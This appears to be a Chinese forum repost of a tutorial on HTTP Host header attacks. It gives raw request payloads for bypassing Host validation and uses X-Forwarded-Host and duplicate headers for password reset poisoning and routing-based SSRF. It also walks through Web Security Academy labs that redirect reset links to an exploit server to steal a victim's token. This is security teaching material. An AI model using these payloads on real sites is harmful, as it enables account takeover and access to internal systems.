ToB企服应用市场:ToB评测及商务社交产业平台

标题: 让你成为网络世界中有破坏力的人-HTTP报文HOST头攻击 [打印本页]
作者: 羊蹓狼    时间: 2022-6-23 11:18
标题: 让你成为网络世界中有破坏力的人-HTTP报文HOST头攻击
一、基础知识

1. 什么是HOST头

   从HTTP/1.1开始，Host标头是必需的请求标头。它指定客户端想要访问的域名。例如，当用户访问https://www.baidu.com，，他们的浏览器将组成一个包含主机标头的请求。
  1. GET / HTTP/1.1
  2. Host: www.baidu.com
复制代码
2. HOST头作用

   是确定客户端要与哪个后端组件通信。如果请求不包含主机头，或者如果主机头在某种程度上格式错误，则在请求路由到目标应用程序时会导致问题。
    **虚拟主机：**单个Web服务器托管多个网站或应用程序。尽管这些不同的网站都有不同的域名，但它们都与服务器共享一个共同的IP地址。以这种方式托管在一台服务器上的网站被称为“虚拟主机”。
    **路由中介（负载均衡、反向代理）：**网站托管在不同的后端服务器上，但客户端和服务器之间的所有流量都通过中间系统进行路由。它们的所有域名也会解析为中间组件的单个IP地址。
以上两种方式，均有一个共同问题需要解决：需要知道应该将每个请求路由到哪个适当的后端或应用上。
    依赖Host头来指定预期的收件人。当浏览器发送请求时，目标URL将解析为特定服务器的IP地址。当此服务器接收到请求时，它会参考主机标头来确定预期的后端，并相应地转发请求。
  3. HOST头攻击

网站以不安全的方式处理Host的值，并且用于网站不同系统之间的各种交互。如果服务器没有合理验证或过滤该值，则会让攻击荷载成功进入到系统内部。尤其实际上Host的值是用户可控的，因此会导致许多安全问题：如

   以上安全专题均会在我的系列文章中讲解。
  二、漏洞利用

1. 如何识别发现Host漏洞


   一些拦截代理直接从主机标头派生目标IP地址，这使得这种测试几乎是不可能的；您对标头所做的任何更改都只会导致将请求发送到完全不同的IP地址。但是，Burp软件准确地保持了主机报头和目标IP地址之间的分隔。准确的说Burp软件在安全行业人人都要会用，就像微信、QQ在社交领域，CAD在工程制图领域，PS在美图领域的地位一样。
  测试时会遇到两大类反映

   服务器有时被配置为默认或备用选项，以防它们接收到对它们不识别的域名的请求。恭喜你，你可以开始研究应用程序到底对host头做了哪些处理，是否有利用的可能了。
  
   这是正常的，我们就要使用后面介绍的其他方式进行测试识别了。
  
有时由于某种安全措施，请求被阻止了，而不是收到“无效主机标头”响应。
应了解网站如何解析Host标头，找到可用于绕过验证的漏洞。
   例如，某些解析算法将省略Host报头中的端口，这意味着只对域名进行验证。如果您还可以提供非数字端口，则可以保持域名不变，以确保您到达目标应用程序，同时可能会通过该端口注入有效负载。
  1. GET /example HTTP/1.1
  2. Host: vulnerable-website.com:bad-stuff-here
复制代码
  例如，站点可能匹配白名单来验证Host值。在这种情况下，您可以通过注册一个以白名单中的域名相同的字符串结尾的任意域名来完全绕过验证：
  1. GET /example HTTP/1.1
  2. Host: notvulnerable-website.com
复制代码
  1. GET /example HTTP/1.1
  2. Host: hacked-subdomain.vulnerable-website.com  （有可能在前通过，有可能在后通过，需要不断测试）
复制代码

验证Host的代码和对主机执行易受攻击操作的代码，通常在不同的应用组件中，甚至位于不同的服务器上。通过识别和利用它们如何检索主机host的差异，可能够发出一个模棱两可的请求。

  1. GET /example HTTP/1.1
  2. Host: vulnerable-website.com
  3. Host: bad-stuff-here
复制代码
  前端优先host的第一个实例，但后端更喜欢最后一个host实例。在这种情况下，可以使用第一个头来确保请求被路由到预期的目标，并使用第二个头将有效负载传递到服务器端代码。
  
  1. GET https://vulnerable-website.com/ HTTP/1.1
  2. Host: bad-stuff-here
复制代码
  尽管请求行通常为相对路径，但许多服务器也能解析绝对URL的请求。
同时提供绝对URL和主机头所造成的歧义也可能导致不同系统之间的差异。在实践中，与重复Host头大致相同的方式利用这些差异。
  
可以通过在HTTP头上缩进一个空格字符来发现奇怪的行为。一些服务器会将缩进标头解释为换行，因此将其视为前面标头的值的一部分。其他服务器将完全忽略缩进标头。
由于对此处理的不一致，经常会有差异。
  1. GET /example HTTP/1.1
  2.     Host: bad-stuff-here
  3. Host: vulnerable-website.com
复制代码
  如果前端忽略了缩进头部，则该请求将作为VULNERABLE-Website.com的普通请求处理。现在假设后端忽略前导空格（未忽略缩进头部），并且在出现重复项的情况下优先使用第一个标头。我们就可以利用host传递任意值。
  
   后续会有专题文章介绍
  
网站通常是通过某种中间系统访问的，例如负载均衡器或反向代理。在这种体系结构中，后端服务器接收的Host标头可能包含这些中间系统的域名。(Host可能在不断变化，无法保持与浏览器最初请求的Host一致)
要解决此问题，前端可能会注入X-Forwarded-Host头，其中包含来自客户端初始请求的Host头的原始值。当X-Forwarded-Host头出现时，许多框架会转而引用它。
可以使用X-Forwarded-Host注入您的恶意输入，同时绕过对主机标头本身的任何验证。
  1. GET /example HTTP/1.1
  2. Host: vulnerable-website.com
  3. X-Forwarded-Host: bad-stuff-here
复制代码
其他类似功能的标头还有
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
   这通常是因为这些标头中的一个或多个在网站使用的某些第三方技术中默认启用，这几乎无法避免。
    其实这也说明了为什么不管开发水平多高，安全漏洞总是存在的问题。没有一个人或一个团队能100%掌控一切，尤其在这个开源和快速迭代的时代。
（小彩蛋：本文留言写这句，我将关注你并奉上我的留言感谢！）
    可以使用工具Param Miner中的"Guess headers" 功能，探测网站支持的头。
  2. 漏洞利用

(1) 密码重置中毒

攻击者利用该技术操纵易受攻击的网站生成指向其控制的域的密码重置链接。此行为可被利用来窃取重置任意用户密码所需的秘密令牌，并最终危害其帐户。
主流密码重置流程如下：
   这个过程足够简单和相对安全。然而，它的安全性依赖于：只有目标用户才有权访问他们的电子邮件收件箱，从而访问他们的唯一令牌。
    密码重置中毒可窃取此令牌以更改其他用户密码的方法。关键点于：
  
  构造攻击：
如果发送给用户的URL是基于可控输入(如Host标头)动态生成的，则可能会构建密码重置中毒攻击，流程如下所示：
   例题 1、2、3
  (2) 通过Host标头Web缓存中毒

此处不再赘述可以参考我的另外一篇博文《WEB缓存中毒》
   例题4
  (3)绕过访问限制

网站将某些功能的访问权限限制为仅限内部用户使用是很常见的。然而，一些网站的访问控制功能有缺陷，允许通过对Host进行简单修改来绕过这些限制。
   例题5
  (4)使用虚拟主机暴力访问内部网站

www.example.com: 12.34.56.78
intranet.example.com: 10.0.0.132
   详见后续文章《信息泄露》
  (5)基于路由的SSRF

   典型的SSRF漏洞通常基于XXE或可利用的业务逻辑，该业务逻辑将HTTP请求发送到用户可控制的输入产生的URL。另一方面，基于路由的SSRF依赖于许多基于云的体系结构中普遍存在的中间组件。这包括内部负载平衡器和反向代理。
尽管这些组件用于不同的目的，但从根本上说，它们接收请求并将它们转发到适当的后端。如果它们配置不安全，让未经验证的Host标头请求转发，则可以尝试操纵将请求错误地路由到攻击者选择的任意系统。
这些系统是极好的靶子。他们处于网络特权位置，允许他们直接从公共网络接收请求，同时还可以访问内部网络的大部分地方。这使得Host标头成为SSRF攻击的强大载体，可能会将简单的负载均衡器转换为整个内部网络的网关。
  使用Burp Collaborator来帮助识别上述漏洞。如果在Host标头中提供了Collaborator服务器的域，并且随后从目标服务器或另一个In-Path系统收到了DNS查找，这表示可能能够将请求路由到任意域。
在确认可以成功将中间系统请求路由到任意公共服务器之后，下一步是查是否可以利用此行为访问仅限内部的系统。为此，需要识别目标的内部网络IP，方法如下：

   例题6、7
  (6) 通过请求错误的请求行实现SSRF

自定义代理有时无法正确验证请求行，在这种情况下反而允许提供异常的、格式错误的输入，从而导致错误的结果。
正常访问 http://backend-server/example
但构造数据包为：
  1. GET @private-intranet/example HTTP/1.1
  2. Host: //backend-server
复制代码
实际请求变为：http://backend-server@private-intranet/example
   大多数HTTP库将其解释为使用用户名Backend-Sever访问私有内部网的请求。
  三、漏洞实例

1. 基本密码重置中毒(Basic password reset poisoning)


登陆carlos的账户

  1. GET /forgot-password HTTP/1.1
  2. Host: ace91ff21e5626fdc0aa2d7c004700d6.web-security-academy.net
  3. Cookie: _lab=46%7cMCwCFEcIOnfV6IvWnIia8prSWMi8FwJGAhRNQAon6%2b4BuE3C%2b1RhJfJNnjDLkcJROD6XfAHLtKor2EFFpCsl2mkfoQNbrBEfskkDE36pkQXfZ84PNQ4IF5IIFnpcfq%2fAVy2jZTk2sb0ADIY0dlYuMu8aJ6k1qVkX%2fjfUSx%2fffZ1fsCQ%3d; session=oEXahzmqBvEf82f7vmU45ELqQVhbmL4x
复制代码
  1. GET /forgot-password HTTP/1.1
  2. Host: exploit-ace51f971e9c26a1c0852dda01e300ee.web-security-academy.net
  3. Cookie: _lab=46%7cMCwCFEcIOnfV6IvWnIia8prSWMi8FwJGAhRNQAon6%2b4BuE3C%2b1RhJfJNnjDLkcJROD6XfAHLtKor2EFFpCsl2mkfoQNbrBEfskkDE36pkQXfZ84PNQ4IF5IIFnpcfq%2fAVy2jZTk2sb0ADIY0dlYuMu8aJ6k1qVkX%2fjfUSx%2fffZ1fsCQ%3d; session=oEXahzmqBvEf82f7vmU45ELqQVhbmL4x
复制代码
"GET /forgot-password?temp-forgot-password-token=YiVBMo5GwYDaB9flrRVmxf2ADHYEgTXU HTTP/1.1"
https://ace91ff21e5626fdc0aa2d7c004700d6.web-security-academy.net/forgot-password?temp-forgot-password-token=YiVBMo5GwYDaB9flrRVmxf2ADHYEgTXU
2. 通过中间件进行密码重置中毒(Password reset poisoning via middleware)


登陆carlos的账户

此题抓包分析后，与上题一样，只是在更换Host值后发现验证不过。系统对host有验证。
根据本文上面给出的多个方式，一个个试过来，最终发现X-Forwarded-Host可以传入攻击机域名。
   我的文章不仅仅是一篇技术文档，更是一个安全渗透测试的技术参照手册，娓娓道来，尽可能的写出所有方式。如果您有幸能看到这段文字，希望你能发现这篇文章的真正含金量。
  1. GET /forgot-password?temp-forgot-password-token=YQvW4Q2DP1iK8GlAoBOBl3xvDoNYsBNk HTTP/1.1
  2. Host: ac4a1f7f1eb95572c05c2e0f00330076.web-security-academy.net
  3. X-Forwarded-Host: exploit-ac701f0b1e1255f2c0af2e4501d70019.web-security-academy.net
复制代码
3. 通过悬挂式标记进行密码重置中毒(Password reset poisoning via dangling markup)


登陆carlos的账户

这道题很疯狂，是的，疯狂。要做明白这道题需要学会我的另一篇文章XSS（Cross Site Scripting）跨站脚本攻击，再把现在这个文章看懂。这道题才能明白原理。同时有大量动手练习靶场的经验支持下，这道题才能攻破。
  1. Sent:     2022-05-17 11:02:29 +0000
  2. From:     no-reply@ace11f121fea5e94c0b7148700fc007c.web-security-academy.net
  3. To:       wiener@exploit-acdb1f781fc05e06c07214cb01540042.web-security-academy.net
  4. Subject:  Account recovery
  6. <p>Hello!</p>
  7. <p>Please <a target="_blank" href='https://ace11f121fea5e94c0b7148700fc007c.web-security-academy.net/login'>click here</a> to login with your new password: EqTvdZeckf</p>
  8. <p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
复制代码

:'



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4